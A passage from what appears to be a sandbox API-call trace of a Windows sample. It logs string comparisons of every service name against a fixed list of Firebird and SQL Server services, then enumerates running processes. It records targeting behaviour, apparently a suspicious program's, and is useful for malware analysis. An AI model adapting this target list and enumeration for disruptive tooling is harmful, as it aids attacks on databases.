lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0284.592] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0284.592] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0284.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0284.592] lstrlenW (lpString="EventSystem") returned 11 [0284.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0284.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0284.592] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0284.592] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0284.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0284.592] lstrlenW (lpString="FontCache") returned 9 [0284.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0284.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0284.592] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0284.592] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0284.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0284.592] lstrlenW (lpString="gpsvc") returned 5 [0284.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0284.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0284.592] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0284.592] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0284.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0284.592] lstrlenW (lpString="iphlpsvc") returned 8 [0284.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.592] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0284.592] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0284.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0284.592] lstrlenW (lpString="KeyIso") returned 6 [0284.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0284.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0284.593] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0284.593] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0284.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0284.593] lstrlenW (lpString="LanmanServer") returned 12 [0284.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0284.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0284.593] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0284.593] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0284.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0284.593] lstrlenW (lpString="LanmanWorkstation") returned 17 [0284.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.593] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0284.593] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0284.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0284.593] lstrlenW (lpString="lfsvc") returned 5 [0284.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0284.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0284.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0284.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0284.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0284.593] lstrlenW (lpString="lmhosts") returned 7 [0284.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0284.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0284.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0284.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0284.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0284.593] lstrlenW (lpString="LSM") returned 3 [0284.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0284.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0284.594] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0284.594] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0284.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0284.594] lstrlenW (lpString="MpsSvc") returned 6 [0284.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0284.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0284.594] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0284.594] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0284.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0284.594] lstrlenW (lpString="NcbService") returned 10 [0284.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0284.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0284.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0284.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0284.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0284.594] lstrlenW (lpString="netprofm") returned 8 [0284.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0284.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0284.594] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0284.594] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0284.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0284.594] lstrlenW (lpString="NgcSvc") returned 6 [0284.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0284.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0284.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0284.762] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0284.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0284.762] lstrlenW (lpString="NlaSvc") returned 6 [0284.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0284.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0284.762] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0284.762] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0284.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0284.762] lstrlenW (lpString="nsi") returned 3 [0284.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0284.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0284.762] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0284.762] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0284.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0284.762] lstrlenW (lpString="PcaSvc") returned 6 [0284.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0284.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0284.762] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0284.762] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0284.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0284.763] lstrlenW (lpString="PlugPlay") returned 8 [0284.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0284.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0284.763] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0284.763] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0284.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0284.763] lstrlenW (lpString="Power") returned 5 [0284.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0284.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0284.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0284.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0284.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0284.763] lstrlenW (lpString="ProfSvc") returned 7 [0284.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0284.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0284.763] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0284.763] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0284.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0284.763] lstrlenW (lpString="RpcEptMapper") returned 12 [0284.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.763] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0284.763] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0284.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0284.763] lstrlenW (lpString="RpcSs") returned 5 [0284.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0284.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0284.763] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0284.764] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0284.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0284.764] lstrlenW (lpString="SamSs") returned 5 [0284.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0284.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0284.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0284.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0284.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0284.764] lstrlenW (lpString="Schedule") returned 8 [0284.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0284.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0284.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0284.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0284.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0284.764] lstrlenW (lpString="SecurityHealthService") returned 21 [0284.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0284.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0284.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0284.764] lstrlenW (lpString="SENS") returned 4 [0284.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0284.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0284.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0284.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0284.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0284.764] lstrlenW (lpString="ShellHWDetection") returned 16 [0284.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0284.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0284.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0284.765] lstrlenW (lpString="Spooler") returned 7 [0284.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0284.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0284.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0284.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0284.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0284.765] lstrlenW (lpString="SSDPSRV") returned 7 [0284.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0284.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0284.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0284.765] lstrlenW (lpString="StateRepository") returned 15 [0284.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0284.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0284.765] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0284.765] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0284.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0284.765] lstrlenW (lpString="SysMain") returned 7 [0284.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0284.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0284.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0284.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0284.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0284.765] lstrlenW (lpString="SystemEventsBroker") returned 18 [0284.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0284.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0284.766] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3e11e50 | out: hHeap=0x4e0000) returned 1 [0284.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0284.772] Process32FirstW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.772] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.773] lstrlenW (lpString="System") returned 6 [0284.773] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.773] lstrlenW (lpString="smss.exe") returned 8 [0284.773] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.774] lstrlenW (lpString="csrss.exe") returned 9 [0284.774] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.775] lstrlenW (lpString="wininit.exe") returned 11 [0284.775] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.775] lstrlenW (lpString="csrss.exe") returned 9 [0284.775] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.776] lstrlenW (lpString="winlogon.exe") returned 12 [0284.776] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.776] lstrlenW (lpString="services.exe") returned 12 [0284.776] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.777] lstrlenW (lpString="lsass.exe") returned 9 [0284.777] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.777] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.777] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.778] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.778] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.778] lstrlenW (lpString="svchost.exe") returned 11 [0284.778] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.779] lstrlenW (lpString="svchost.exe") returned 11 [0284.779] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.780] lstrlenW (lpString="dwm.exe") returned 7 [0284.780] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.780] lstrlenW (lpString="svchost.exe") returned 11 [0284.780] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.781] lstrlenW (lpString="svchost.exe") returned 11 [0284.781] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.781] lstrlenW (lpString="svchost.exe") returned 11 [0284.781] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.782] lstrlenW (lpString="svchost.exe") returned 11 [0284.782] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.783] lstrlenW (lpString="svchost.exe") returned 11 [0284.783] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.783] lstrlenW (lpString="svchost.exe") returned 11 [0284.784] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.784] lstrlenW (lpString="svchost.exe") returned 11 [0284.784] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.785] lstrlenW (lpString="svchost.exe") returned 11 [0284.785] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.785] lstrlenW (lpString="svchost.exe") returned 11 [0284.785] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.786] lstrlenW (lpString="svchost.exe") returned 11 [0284.786] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.786] lstrlenW (lpString="spoolsv.exe") returned 11 [0284.786] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.787] lstrlenW (lpString="svchost.exe") returned 11 [0284.787] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.787] lstrlenW (lpString="audiodg.exe") returned 11 [0284.788] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.788] lstrlenW (lpString="sihost.exe") returned 10 [0284.788] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.789] lstrlenW (lpString="svchost.exe") returned 11 [0284.789] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.789] lstrlenW 